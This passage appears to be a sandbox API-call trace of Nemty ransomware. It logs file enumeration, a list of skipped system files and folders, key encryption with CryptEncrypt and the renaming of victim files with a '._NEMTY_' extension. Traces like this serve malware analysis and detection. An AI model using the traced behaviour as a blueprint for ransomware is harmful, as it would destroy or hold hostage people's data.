lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0090.794] CloseHandle (hObject=0xffffffff) returned 0 [0090.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0090.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0090.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0090.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0090.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0090.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0090.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0090.795] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv._nemty_kgobjgd_")) returned 0 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.795] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0090.795] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2=".") returned 1 [0090.795] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="..") returned 1 [0090.795] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="...") returned 1 [0090.795] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="windows") returned -1 [0090.795] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="rsa") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="ntldr") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="IO.SYS") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="ntuser.dat") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="desktop.ini") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="RECYCLER") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="bootmgr") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="programdata") returned 1 [0090.796] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="appdata") returned 1 [0090.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0090.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0090.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0090.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0090.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0090.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0090.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0090.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0090.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0090.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ed08, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0090.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0090.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0090.797] Sleep (dwMilliseconds=0x5) [0090.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9c56890, dwHighDateTime=0x1d561e7)) [0090.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9c56890, dwHighDateTime=0x1d561e7)) [0090.805] GetLastError () returned 0x5 [0090.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.805] GetLastError () returned 0x5 [0090.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0090.806] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0090.806] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0090.806] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0090.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0090.806] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="gsOIaUXYr7jonyoQB3dZolV8Tuhza8WSxDB0v4BYUz2SJSF5R/fXrwQ+Rz7b+STp\r\nsY1MSvxIUbnWLnbkWsLy/RIPcyBAlJsEJ39pTVcd55QFCbpLAjgpwiIOS+Y5ZZyu\r\nVvbhLriOREqUphLkuOS6JpuHUGgVZ6sFmhIcVdRrvCsCqe4IL7NgPpw9zREpyiv1\r\neRxYu/fcp8D3V/2uVzSgZHs+J/i23tTCIg5D4WCYlFHiXj++SXPWZClbUmzG05uc\r\nKiajkRIZkNFKAqufUjMvoClwG+xHHDp+Uk/R2p6iPCRZnkgLx9rFMfQJfvr/q5F+\r\n+omkOmiZefNWTWUMgCoHQg==\r\n", pcchString=0x653e91c) returned 1 [0090.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0090.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0090.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0090.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0090.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0090.806] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.807] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0090.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0090.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.879] SetFilePointer (in: 